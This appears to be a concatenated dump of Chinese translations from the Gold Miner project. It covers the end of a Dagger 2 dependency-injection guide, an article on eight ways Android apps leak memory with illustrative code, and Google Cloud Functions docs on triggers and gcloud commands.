``` 注意,方法名称(比如 `provideGson()`, `provideRetrofit()` 等)是没关系的,可以任意设置。`@Provides` 被用于把这个实例化和其它同类的模块联系起来。`@Singleton` 标注用于通知 Dagger,它在整个应用的生命周期中只被初始化一次。 一个 `Retrofit` 实例依赖于一个 `Gson` 和一个 `OkHttpClient` 实例,所以我们可以在同一个类中定义两个方法,来提供这两种实例。`@Provides` 标注和方法中的这两个参数将使 Dagger 意识到,构建一个 `Retrofit` 实例 需要依赖 `Gson` 和 `OkHttpClient`。 #### 定义注入目标 Dagger 使你的 activity, fragment, 或 service 中的域可以通过 `@Inject` 注解和调用 `inject()` 方法被赋值。调用 `inject()` 将会使得 Dagger 2 在依赖图中寻找合适类型的单例。如果找到了一个,它就把引用赋值给对应的域。例如,在下面的例子中,它会尝试找到一个返回`MyTwitterApiClient` 和`SharedPreferences` 类型的 provider: ```java public class MainActivity extends Activity { @Inject MyTwitterApiClient mTwitterApiClient; @Inject SharedPreferences sharedPreferences; public void onCreate(Bundle savedInstance) { // assign singleton instances to fields InjectorClass.inject(this); } ``` Dagger 2 中使用的注入者类被称为 **component**。它把先前定义的单例的引用传给 activity, service 或 fragment。我们需要用 `@Component` 来注解这个类。注意,需要被注入的 activity, service 或 fragment 需要在这里使用 `inject()` 方法注入: ```java @Singleton @Component(modules={AppModule.class, NetModule.class}) public interface NetComponent { void inject(MainActivity activity); // void inject(MyFragment fragment); // void inject(MyService service); } ``` **注意** 基类不能被作为注入的目标。Dagger 2 依赖于强类型的类,所以你必须指定哪些类会被定义。(有一些[建议](https://blog.gouline.net/2015/05/04/dagger-2-even-sharper-less-square/) 帮助你绕开这个问题,但这样做的话,代码可能会变得更复杂,更难以追踪。) #### 生成代码 Dagger 2 的一个重要特点是它会为标注 `@Component` 的接口生成类的代码。你可以使用带有 `Dagger` (比如 `DaggerTwitterApiComponent.java`) 前缀的类来为依赖图提供实例,并用它来完成用 `@Inject` 注解的域的注入。 参见[设置](https://github.com/xitu/gold-miner/pull/1484#%E8%AE%BE%E7%BD%AE)。 ### 实例化组件 我们应该在一个 `Application` 类中完成这些工作,因为这些实例应当在 application 的整个周期中只被声明一次: ```java public class MyApp extends Application { private NetComponent mNetComponent; @Override public void onCreate() { super.onCreate(); // Dagger%COMPONENT_NAME% mNetComponent = DaggerNetComponent.builder() // list of modules that are part of this component need to be created here too .appModule(new AppModule(this)) // This also corresponds to the name of your module: %component_name%Module .netModule(new NetModule("https://api.github.com")) .build(); // If a Dagger 2 component does not have any constructor arguments for any of its modules, // then we can use .create() as a shortcut instead: // mNetComponent = com.codepath.dagger.components.DaggerNetComponent.create(); } public NetComponent getNetComponent() { return mNetComponent; } } ``` 如果你不能引用 Dagger 组件,rebuild 整个项目 (在 Android Studio 中,选择 _Build > Rebuild Project_)。 因为我们在覆盖默认的 `Application` 类,我们同样需要修改应用的 `name` 以启动 `MyApp`。这样,你的 application 将会使用这个 application 类来处理最初的实例化。 ```xml ``` 在我们的 activity 中,我们只需要获取这些 components 的引用,并调用 `inject()`。 ```java public class MyActivity extends Activity { @Inject OkHttpClient mOkHttpClient; @Inject SharedPreferences sharedPreferences; public void onCreate(Bundle savedInstance) { // assign singleton instances to fields // We need to cast to `MyApp` in order to get the right method ((MyApp) getApplication()).getNetComponent().inject(this); } ``` ### 限定词类型 ![Dagger Qualifiers](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_qualifiers.png) 如果我们需要同一类型的两个不同对象,我们可以使用 `@Named` 限定词注解。 你需要定义你如何提供单例 (用 `@Provides` 注解),以及你从哪里注入它们(用 `@Inject` 注解): ```java @Provides @Named("cached") @Singleton OkHttpClient provideOkHttpClient(Cache cache) { OkHttpClient client = new OkHttpClient(); client.setCache(cache); return client; } @Provides @Named("non_cached") @Singleton OkHttpClient provideOkHttpClient() { OkHttpClient client = new OkHttpClient(); return client; } ``` 注入同样需要这些 named 注解: ```java @Inject @Named("cached") OkHttpClient client; @Inject @Named("non_cached") OkHttpClient client2; ``` `@Named` 是一个被 Dagger 预先定义的限定语,但你也可以创建你自己的限定语注解: ```java @Qualifier @Documented @Retention(RUNTIME) public @interface DefaultPreferences { } ``` ### 作用域 ![Dagger 作用域](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_scopes.png) 在 Dagger 2 中,你可以通过自定义作用域来定义组件应当如何封装。例如,你可以创建一个只持续 activity 或 fragment 整个生命周期的作用域。你也可以创建一个对应一个用户认证 session 的作用域。 你可以定义任意数量的自定义作用域注解,只要你把它们声明为 public `@interface`: ```java @Scope @Documented @Retention(value=RetentionPolicy.RUNTIME) public @interface MyActivityScope { } ``` 虽然 Dagger 2 在运行时不依赖注解,把 `RetentionPolicy` 设置为 RUNTIME 对于将来检查你的 module 将是很有用的。 ### 依赖组件和子组件 利用作用域,我们可以创建 **依赖组件** 或 **子组件**。上面的例子中,我们使用了 `@Singleton` 注解,它持续了整个应用的生命周期。我们也依赖了一个主要的 Dagger 组件。   如果我们不需要组件总是存在于内存中(例如,和 activity 或 fragment 生命周期绑定,或在用户登录时绑定),我们可以创建依赖组件和子组件。它们各自提供了一种封装你的代码的方式。我们将在下一节中看到如何使用它们。 在使用这种方法时,有若干问题要注意:  * **依赖组件需要父组件显式指定哪些依赖可以在下游注入,而子组件不需要** 对父组件而言,你需要通过指定类型和方法来向下游组件暴露这些依赖: ```java // parent component @Singleton @Component(modules={AppModule.class, NetModule.class}) public interface NetComponent { // remove injection methods if downstream modules will perform injection // downstream components need these exposed // the method name does not matter, only the return type Retrofit retrofit(); OkHttpClient okHttpClient(); SharedPreferences sharedPreferences(); } ```   如果你忘记加入这一行,你将有可能看到一个关于注入目标缺失的错误。就像 private/public 变量的管理方式一样,使用一个 parent 组件可以更显式地控制,也可保证更好的封装。使用子组件使得依赖注入更容易管理,但封装得更差。  * **两个依赖组件不能使用同一个作用域** 例如,两个组件不能都用 `@Singleton` 注解设置定义域。这个限制的原因在 [这里](https://github.com/google/dagger/issues/107#issuecomment-71073298) 有所说明。依赖组件需要定义它们自己的作用域。  * **Dagger 2 同样允许使用带作用域的实例。你需要负责在合适的时机创建和销毁引用。** Dagger 2 对底层实现一无所知。这个 Stack Overflow [讨论](http://stackoverflow.com/questions/28411352/what-determines-the-lifecycle-of-a-component-object-graph-in-dagger-2) 上有更多的细节。 #### 依赖组件 ![Dagger 组件依赖](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_dependency.png) 如果你想要创建一个组件,使它的生命周期和已登录用户的 session 相绑定,就可以创建 `UserScope` 接口: ```java import java.lang.annotation.Retention; import javax.inject.Scope; @Scope public @interface UserScope { } ``` 接下来,我们定义父组件: ```java @Singleton @Component(modules={AppModule.class, NetModule.class}) public interface NetComponent { // downstream components need these exposed with the return type // method name does not really matter Retrofit retrofit(); } ``` 接下来定义子组件: ```java @UserScope // using the previously defined scope, note that @Singleton will not work @Component(dependencies = NetComponent.class, modules = GitHubModule.class) public interface GitHubComponent { void inject(MainActivity activity); } ``` 假定 Github 模块只是把 API 接口返回给 Github API: ```java @Module public class GitHubModule { public interface GitHubApiInterface { @GET("/org/{orgName}/repos") Call> getRepository(@Path("orgName") String orgName); } @Provides @UserScope // needs to be consistent with the component scope public GitHubApiInterface providesGitHubInterface(Retrofit retrofit) { return retrofit.create(GitHubApiInterface.class); } } ``` 为了让这个 `GitHubModule.java` 获得对 `Retrofit` 实例的引用,我们需要在上游组件中显式定义它们。如果下游模块会执行注入,它们也应当被从上游组件中移除: ```java @Singleton @Component(modules={AppModule.class, NetModule.class}) public interface NetComponent { // remove injection methods if downstream modules will perform injection // downstream components need these exposed Retrofit retrofit(); OkHttpClient okHttpClient(); SharedPreferences sharedPreferences(); } ``` 最终的步骤是用 `GitHubComponent` 进行实例化。这一次,我们需要首先实现 `NetComponent` 并把它传递给 `DaggerGitHubComponent` builder 的构造方法: ```java NetComponent mNetComponent = DaggerNetComponent.builder() .appModule(new AppModule(this)) .netModule(new NetModule("https://api.github.com")) .build(); GitHubComponent gitHubComponent = DaggerGitHubComponent.builder() .netComponent(mNetComponent) .gitHubModule(new GitHubModule()) .build(); ``` [示例代码](https://github.com/codepath/dagger2-example) 中有一个实际的例子。 #### 子组件 ![Dagger 子组件](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_subcomponent.png) 使用子组件是扩展组件对象图的另一种方式。就像带有依赖的组件一样,子组件有自己的生命周期,而且在所有对子组件的引用都失效之后,可以被垃圾回收。此外它们作用域的限制也一样。使用这个方式的一个优点是你不需要定义所有的下游组件。 另一个主要的不同是,子组件需要在父组件中声明。 这是为一个 activity 使用子组件的例子。我们用自定义作用域和 `@Subcomponent` 注解这个类: ```java @MyActivityScope @Subcomponent(modules={ MyActivityModule.class }) public interface MyActivitySubComponent { @Named("my_list") ArrayAdapter myListAdapter(); } ``` 被使用的模块在下面定义: ```java @Module public class MyActivityModule { private final MyActivity activity; // must be instantiated with an activity public MyActivityModule(MyActivity activity) { this.activity = activity; } @Provides @MyActivityScope @Named("my_list") public ArrayAdapter providesMyListAdapter() { return new ArrayAdapter(activity, android.R.layout.my_list); } ... } ``` 最后,在**父组件**中,我们将定义一个工厂方法,它以这个组件的类型作为返回值,并定义初始化所需的依赖: ```java @Singleton @Component(modules={ ... }) public interface MyApplicationComponent { // injection targets here // factory method to instantiate the subcomponent defined here (passing in the module instance) MyActivitySubComponent newMyActivitySubcomponent(MyActivityModule activityModule); } ``` 在上面的例子中,一个子组件的新实例将在每次 `newMyActivitySubcomponent()` 调用时被创建。把这个子模块注入一个 activity 中: ```java public class MyActivity extends Activity { @Inject ArrayAdapter arrayAdapter; public void onCreate(Bundle savedInstance) { // assign singleton instances to fields // We need to cast to `MyApp` in order to get the right method ((MyApp) getApplication()).getApplicationComponent()) .newMyActivitySubcomponent(new MyActivityModule(this)) .inject(this); } } ``` #### 子组件 builder *从 v2.7 版本起可用* ![Dagger 子组件 builder](https://raw.githubusercontent.com/codepath/android_guides/master/images/subcomponent_builders.png) 子组件 builder 使创建子组件的类和子组件的父类解耦。这是通过移除父组件中的子组件工厂方法实现的。 ```java @MyActivityScope @Subcomponent(modules={ MyActivityModule.class }) public interface MyActivitySubComponent { ... @Subcomponent.Builder interface Builder extends SubcomponentBuilder { Builder activityModule(MyActivityModule module); } } public interface SubcomponentBuilder { V build(); } ``` 子组件是在子组件接口内部的接口中声明的。它必须含有一个  `build()` 方法,其返回值和子组件相匹配。用这个方法声明一个基接口是很方便的,就像上面的`SubcomponentBuilder` 一样。这个新的 **builder 必须被加入父组件的图中**,而这是用一个 "binder" 模块和一个 "subcomponents" 参数实现的: ```java @Module(subcomponents={ MyActivitySubComponent.class }) public abstract class ApplicationBinders { // Provide the builder to be included in a mapping used for creating the builders. @Binds @IntoMap @SubcomponentKey(MyActivitySubComponent.Builder.class) public abstract SubcomponentBuilder myActivity(MyActivitySubComponent.Builder impl); } @Component(modules={..., ApplicationBinders.class}) public interface ApplicationComponent { // Returns a map with all the builders mapped by their class. Map, Provider> subcomponentBuilders(); } // Needed only to to create the above mapping @MapKey @Target({ElementType.METHOD}) @Retention(RetentionPolicy.RUNTIME) public @interface SubcomponentKey { Class value(); } ``` 一旦 builder 在出现在组件图中,activity 就可以用它来创建子组件: ```java public class MyActivity extends Activity { @Inject ArrayAdapter arrayAdapter; public void onCreate(Bundle savedInstance) { // assign singleton instances to fields // We need to cast to `MyApp` in order to get the right method MyActivitySubcomponent.Builder builder = (MyActivitySubcomponent.Builder) ((MyApp) getApplication()).getApplicationComponent()) .subcomponentBuilders() .get(MyActivitySubcomponent.Builder.class) .get(); builder.activityModule(new MyActivityModule(this)).build().inject(this); } } ``` ## ProGuard Dagger 2 应当在没有 ProGuard 时可以直接使用,但是如果你看到了 `library class dagger.producers.monitoring.internal.Monitors$1 extends or implements program class javax.inject.Provider`,你需要确认你的 gradle 配置使用了 `annotationProcessor` 声明,而不是 `provided`。 ## 常见问题 * 如果你在升级 Dagger 版本(比如从 v2.0 升级到 v 2.5),一些被生成的代码会改变。如果你在集成使用旧版本 Dagger 生成的代码,你可能会看到 `MemberInjector` 和 `actual and former argument lists different in length` 错误。确保你 clean 过整个项目,并且把所有版本升级到和 Dagger 2 相匹配的版本。 ## 参考资料 * [Dagger 2 Github Page](http://google.github.io/dagger/) * [Sample project using Dagger 2](https://github.com/vinc3m1/nowdothis) * [Vince Mi's Codepath Meetup Dagger 2 Slides](https://docs.google.com/presentation/d/1bkctcKjbLlpiI0Nj9v0QpCcNIiZBhVsJsJp1dgU5n98/) * * [Jake Wharton's Devoxx Dagger 2 Slides](https://speakerdeck.com/jakewharton/dependency-injection-with-dagger-2-devoxx-2014) * [Jake Wharton's Devoxx Dagger 2 Talk](https://www.parleys.com/tutorial/5471cdd1e4b065ebcfa1d557/) * [Dagger 2 Google Developers Talk](https://www.youtube.com/watch?v=oK_XtfXPkqw) * [Dagger 1 to Dagger 2](http://frogermcs.github.io/dagger-1-to-2-migration/) * [Tasting Dagger 2 on Android](http://fernandocejas.com/2015/04/11/tasting-dagger-2-on-android/) * [Dagger 2 Testing with Mockito](http://blog.sqisland.com/2015/04/dagger-2-espresso-2-mockito.html#sthash.IMzjLiVu.dpuf) * [Snorkeling with Dagger 2](https://github.com/konmik/konmik.github.io/wiki/Snorkeling-with-Dagger-2) * [Dependency Injection in Java](https://www.objc.io/issues/11-android/dependency-injection-in-java/) * [Component Dependency vs. Submodules in Dagger 2](http://jellybeanssir.blogspot.de/2015/05/component-dependency-vs-submodules-in.html) * [Dagger 2 Component Scopes Test](https://github.com/joesteele/dagger2-component-scopes-test) * [Advanced Dagger Talk](http://www.slideshare.net/nakhimovich/advanced-dagger-talk-from-360anDev) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/Eight-Ways-Your-Android-App-Can-Leak-Memory.md ================================================ >* 原文链接 : [Eight Ways Your Android App Can Leak Memory](http://blog.nimbledroid.com/2016/05/23/memory-leaks.html) * 原文作者 : [Tom Huzij](http://blog.nimbledroid.com/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [zhangzhaoqi](https://github.com/joddiy) * 校对者: [Jasper Zhong](https://github.com/DeadLion),[江湖迈杰](https://github.com/MiJack) # 八个造成 Android 应用内存泄露的原因 诸如 Java 这样的 GC (垃圾回收)语言的一个好处就是免去了开发者管理内存分配的必要。这样降低了段错误导致应用崩溃或者未释放的内存挤爆了堆的可能性,因此也能编写更安全的代码。不幸的是,Java 里仍有一些其他的方式会导致内存“合理”地泄露。最终,这意味着你的 Android 应用可能会浪费一些非必要内存,甚至出现 out-of-memory (OOM) 错误。 传统的内存泄露发生的时机是:所有的相关引用已不在域范围内,你忘记释放内存了。另一方面,逻辑内存的泄漏,是忘记去释放在应用中不再使用的对象引用的结果。如果对象仍然存在强引用(译者注:这里可以去关注下 Java 的弱引用),GC 就无法从内存中回收对象。这在 Android 开发中尤其是个大问题:如果你碰巧泄露了 [Context](http://developer.android.com/reference/android/content/Context.html)。这是因为像 [Activity](http://developer.android.com/reference/android/app/Activity.html) 一样的 Context 持有大量的内存引用,例如:view 层级和其他资源。如果你泄漏了 Context,就意味着你泄漏了它引用的所有东西。Android 应用通常运行在内存受限的手机设备中,如果你的应用泄漏太多内存的话就会导致 out-of-memory (OOM) 错误。 如果对象的有用存在期没有被明确定义的话,探查逻辑内存泄漏将会变成一件很主观的事情。幸好,Activity 明确定义了 [生命周期](http://developer.android.com/reference/android/app/Activity.html#ActivityLifecycle),使得我们可以简单地知道一个 Activity 对象是否被泄漏了。在 Activity 的生命末期,[onDestroy()](http://developer.android.com/reference/android/app/Activity.html#onDestroy()) 方法被调用来销毁 Activity ,这样做的原因可能是程序本身的意愿或者是 Android 需要回收一些内存。如果这个方法完成了,但是 Activity 的实例被堆根的一个强引用链持有着,那么 GC 就无法标记它为可回收 —— 尽管原本是想删掉它。因此,我们可以将一个泄露的 Activity 对象定义为一个超过其自然生命周期的对象。 Activity 是非常重的对象,所以你从来就不应该选择无视 Android 框架对它们的处理。然而,Activity 实例也有一些泄漏是非意愿造成的。在 Android 中,所有的可能导致内存泄漏的陷阱都围绕着两个基本场景:第一个是由独立于应用状态存在的全局静态对象对 Activity 的链式引用造成的;另一个是由独立于 Activity 生命周期的一个线程持有 Activity 的引用链造成。下面我们来解释一些你可能遇到这些场景的方式。 ### 1\. 静态 Activity 泄漏一个 Activity 最简单的方法是:定义 Activity 时在内部定义一个静态变量,并将其值设置为处于运行状态的 [Activity](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L110) 。如果在 Activity 生命周期结束时没有清除引用的话,这个 Activity 就会泄漏。这是因为这个对象表示这个 Activity 类(比如:MainActivity )是静态的并且在内存中一直保持加载状态。如果这个类对象持有了对 Activity 实例的引用,就不会被选中进行 GC 了。 void setStaticActivity() { activity = this; } View saButton = findViewById(R.id.sa_button); saButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { setStaticActivity(); nextActivity(); } }); ![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image07.png)
内存泄漏 1 - 静态 Activity
### 2\. 静态 View 一个相似的情况是:对于经常访问到的 Activity 实现了单例模式,并且保持它的实例在内存中的加载状态使之有利于快速读写。然而,正如刚才提到的原因,违背了 Activity 既定的生命周期并且在内存中长久存在是一件极其危险和不必要的实践 —— 并且应该被完全禁止。 但是假如我们有一个特定的 View :花费极大的代价来初始化,但是在同一个 Activity 的不同生命时间内没怎么变化过,我们该怎么办呢?我们可以简单地在初始化后就把这个 View 设为静态的,然后附加到 View 的层次关系中,就像我们在[这里](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L132)做的。现在假如 Activity 被销毁了,我们应该可以释放它占用的大部分内存。 void setStaticView() { view = findViewById(R.id.sv_button); } View svButton = findViewById(R.id.sv_button); svButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { setStaticView(); nextActivity(); } }); ![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image02.png)
内存泄漏 2 - 静态 View
稍等,有一点奇怪的地方。正如你知道的,在这种情况下,我们的 Activity 中,一个被附加的 View 会持有对它的 Context 的引用。通过使用一个 View 的静态引用,我们给 Activity 设定了一个持久化的引用链并且泄露了它。不要使附加的 View 静态化,如果你必须这么做的话,至少让它们在 Activity 完成之前从 View 层级关系的同一点上[分离](http://developer.android.com/reference/android/view/ViewGroup.html#removeView(android.view.View))出来。 ### 3\. 内部类 继续,让我们讨论下在 Activity 类中定义一个[内部类](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L126)的情况。程序员一般选择这样做是有一些原因的,诸如提升可靠性和封装性等。假如我们创建了一个内部类的实例然后对其持有了一个静态引用呢?你肯定猜到了必然会发生内存泄漏。 void createInnerClass() { class InnerClass { } inner = new InnerClass(); } View icButton = findViewById(R.id.ic_button); icButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { createInnerClass(); nextActivity(); } }); ![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image03.png)
内存泄漏 3 - 内部类
不幸的是,因为内部类的一个特性是它们可以访问外部类的变量,所以它们必然持有了对外部类实例的引用以至于 Activity 会发生泄漏。 ### 4\. 匿名类 同样的,匿名类同样持有了内部定义的类的引用。因此如果你[在 Activity 中匿名地声明并且实例化了一个 AsyncTask](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L102)的话就会发生泄漏。如果在 Activity 销毁后它仍在后台工作的话,对于 Activity 的引用会持续并且直到后台工作完成才会进行 GC。 void startAsyncTask() { new AsyncTask() { @Override protected Void doInBackground(Void... params) { while(true); } }.execute(); } super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); View aicButton = findViewById(R.id.at_button); aicButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startAsyncTask(); nextActivity(); } }); ![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image04.png)
内存泄漏 4 - AsyncTask
### 5\. Handler 相同的情况同样适用于这样的[后台任务](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L114):被一个 Runnable 对象定义并被一个 Handler 对象加入执行队列。这个 Runnable 对象将会隐式地引用定义它的 Activity 然后会作为 Message 提交到 Handler 的 MessageQueue(消息队列)。只要 Activity 销毁前消息还没有被处理,那么引用链就会使 Activity 保留在内存里并导致泄漏。 void createHandler() { new Handler() { @Override public void handleMessage(Message message) { super.handleMessage(message); } }.postDelayed(new Runnable() { @Override public void run() { while(true); } }, Long.MAX_VALUE >> 1); } View hButton = findViewById(R.id.h_button); hButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { createHandler(); nextActivity(); } }); ![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image01.png)
内存泄漏 5 - Handler
### 6\. Thread 我们在使用 [Thread](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L142) 和 [TimerTask](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L150) 时,可能会犯同样的错误。 void spawnThread() { new Thread() { @Override public void run() { while(true); } }.start(); } View tButton = findViewById(R.id.t_button); tButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { spawnThread(); nextActivity(); } }); ![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image06.png)
内存泄漏 6 - Thread
### 7\. TimerTask 只要 TimerTask 被定义并且匿名实例化,即使任务执行在独立的线程里,它们也会在 Activity 销毁后保持对其的引用链,从而导致泄漏。 void scheduleTimer() { new Timer().schedule(new TimerTask() { @Override public void run() { while(true); } }, Long.MAX_VALUE >> 1); } View ttButton = findViewById(R.id.tt_button); ttButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { scheduleTimer(); nextActivity(); } }); ![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image06.png)
内存泄漏 7 - TimerTask
### 8\. SensorManager 最后,有一些 Context 可以通过调用 [getSystemService](http://developer.android.com/reference/android/content/Context.html#getSystemService(java.lang.String)) 来检索的系统服务。这些服务运行在它们独立的线程,辅助应用去与硬件设备进行接口通讯。如果 Context 想要时刻监听到 Service 中发生的事件,它就需要注册自己为 [Listener](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L136)。然而,这将会造成 Service 持有 Activity 的引用,如果在 Activity 销毁前忘记注销作为 Listener 的 Activity 的话,GC 就无法回收从而导致泄漏。 void registerListener() { SensorManager sensorManager = (SensorManager) getSystemService(SENSOR_SERVICE); Sensor sensor = sensorManager.getDefaultSensor(Sensor.TYPE_ALL); sensorManager.registerListener(this, sensor, SensorManager.SENSOR_DELAY_FASTEST); } View smButton = findViewById(R.id.sm_button); smButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { registerListener(); nextActivity(); } }); ![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image00.png)
内存泄漏 8 - SensorManager
现在你已经见识了这么多内存泄漏的情况,一不留神就泄漏大量内存实在是太容易发生了。记住,尽管最严重的内存泄漏情况才会造成应用内存溢出并崩溃,但并不总会发生这样的情况,取而代之的是,这将浪费应用大量内存空间。在这种情况下,应用给其他对象的可分配内存就少了,然后你的 GC 就不得不时常为新对象释放空间。GC 是代价很大的操作并会让用户感到速度下降。当你在 Activity 中初始化对象的时候,留心潜在的引用链,并且经常测试内存泄漏! 修改:由于一些编辑错误,这篇文章中涉及 Activity 结束生命周期的方法原本是 onDelete(),正确的应该是 onDestroy(),感谢 [@whoisgraham](https://twitter.com/whoisgraham/status/734993947014115328) 指出了这个错误。 ================================================ FILE: TODO/GoogleCloudFunctions/calling-cloud-functions.md ================================================ * 原文[Calling Cloud Functions](https://cloud.google.com/functions/calling) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [huanglizhuo](https://github.com/huanglizhuo) * 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua) ##调用 Cloud Functions Google Cloud Functions 可以和一个指定的触发器联系起来。触发器的类型决定了你的函数执行方式和执行时间。当前版本的 Cloud Functions 支持以下原生触发机制: * [Goocle Cloud Pub/Sub](https://cloud.google.com/functions/calling#google_cloud_pubsub) * [Goocle Cloud Storage](https://cloud.google.com/functions/calling#google_cloud_storage) * [HTTP Invocation](https://cloud.google.com/functions/calling#http_invocation) * [Debug/Direct Invocation](https://cloud.google.com/functions/calling#debugdirect_invocation) 你也可以把 Cloud Functions 和其它支持 Cloud Pub/Sub 的 Google 服务整合在一起,也可以和任何支持 HTTP 回调(webhooks) 的服务整合。这部分的更多细节在[其它触发器](https://cloud.google.com/functions/calling#other)中。 ##Google Cloud Pub/Sub Cloud Functions 可以通过 [Cloud Pub/Sub topic](https://cloud.google.com/pubsub/docs) 主题异步触发。Cloud Pub/Sub 全球性的分布式消息总线,可以根据你的需求弹性扩展与收缩,为你构建强健的,全球化的服务提供良好的基础。 例子: > $ gcloud alpha functions deploy helloworld --bucket cloud-functions --trigger-topic hello_world 参数|描述 ----|---- --trigger-topic|函数要订阅的Cloud Pub/Sub 主题名 由 Cloud Pub/Sub 触发器调用的 Cloud Functions 会接收到一个发布到 Pub/Sub 主题的 message,message必须是 JSON 格式。 ##Google Cloud Storege Cloud Functions 可以对 Google Cloud Storage 发出的对象修改通知做出回应。这些通知是由对象添加(创建),更新(修改),或者删除触发的。 例子: > $ gcloud alpha functions deploy helloworld --bucket cloud-functions --trigger-gs-uri my-bucket 参数|描述 ----|---- --trigger-gs-uri| 函数要监听变更的 Cloud Storage bucket 名字 由 Cloud Storage 触发器触发的 Cloud Functions 会接收到对象增加,更新,或者删除事件发出的预定义好的 JSON 结构,像这个[文档](https://cloud.google.com/storage/docs/object-change-notification#_Type_AddUpdateDel)中这样。 ##HTTP 触发 Cloud Functions 可以由 HTTP POST 方法同步的触发。为你的函数添加一个 HTTP 端点,你得在部署函数时通过 --trigger-http 指明触发器类型。HTTP 调用是同步触发的,也就意味着函数的结果会在 HTTP 响应的 body 中返回。 例子: > $ gcloud alpha functions deploy helloworld --bucket cloud-functions --trigger-http ``` 注意:现在只支持 HTTP POST 方法。其它任何方法(比如 GET 或者 PUT)都会引发 405(方法不支持) 错误。 部署带有 HTTP 触发的 Cloud Functions 可以通过简单的 curl 命令触发: > $ curl -X POST --data '{"message":"Hello World!"}' ``` 会在函数部署后返回,也可使用 gcloud 的 describe 查看 ##Debug/Direct 调用 为了支持快速迭代和调试,Cloud Functions 命令行工具提供了 call 命令,并且在 UI 中提供了一个测试函数。这样你就可以手动调用函数并确保它的正确性。这种调用方式会同步触发函数的执行,即使部署时它的触发器是异步的,比如 Cloud Pub/Sub 触发器。 例子: > $ gcloud alpha functions call helloworld --data '{"message":"Hello World!"}' ##其它触发器 由于 Cloud Functions 可以由 Cloud Pub/Sub 主题消息触发,因此你可以把它和任何其它支持 Cloud Pub/Sub 作为事件总线的 Google 服务整合起来。 借助于 HTTP 触发方式,你可以把任何其它提供 HTTP 回调(webhooks) 的服务整合起来。 ###Cloud 日志 Google Cloud Logging 事件可以输出到任何可以被 Cloud Functions 消费的 Cloud Pub/Sub 主题。在[这里](https://cloud.google.com/logging/docs/export/configure_export)参看更多关于 Cloud Logging 的文档。 ###GMail 使用 [GMail推送通知 API](https://developers.google.com/gmail/api/guides/push) 你可以把 GMail 事件发送给 loud Pub/Sub 主题并交给 Cloud Functions 处理。 ================================================ FILE: TODO/GoogleCloudFunctions/catlog.md ================================================ [入门](./quick-starts.md) [开始](./getting-started.md) [编写](./writing-cloud-functions.md) [部署](./deploying-cloud-functions.md) [调用](./calling-cloud-functions.md) [例子](./walkthroughs.md) [命令](./command-reference.md) ================================================ FILE: TODO/GoogleCloudFunctions/command-reference.md ================================================ * 原文[Command Reference](https://cloud.google.com/functions/reference) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [huanglizhuo](https://github.com/huanglizhuo) * 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua) ##命令行参考 ###Cloud Functions 命令行界面 Google Cloud Functions 通过 gcloud SDK 提供了一个命令行界面(CLI)。如果你读过[入门](.getting-started.md)章节,那么你应该已经安装了这个工具了。 ###认证 执行下面的命令给 gcloud 工具进行认证: > $ gcloud auth login ###CLI 方法 查看 gcloud 工具的全部方法列表,执行: > $ gcloud alpha functions -h 常用的方法如下: ``` call 同步调用该函数 delete 删除一个函数 deploy 创建一个新函数或者更新一个已经存在的函数 describe 显示函数的相关描述 get-logs 显示给定函数产生的日志 list 列出给定区域的全部函数 ``` 可以通过给单个命令添加一个 -h 参数来查看该命令的详细帮助文档,比如: >$ gcloud alpha functions call -h ================================================ FILE: TODO/GoogleCloudFunctions/deploying-cloud-functions.md ================================================ * 原文[ Deploying 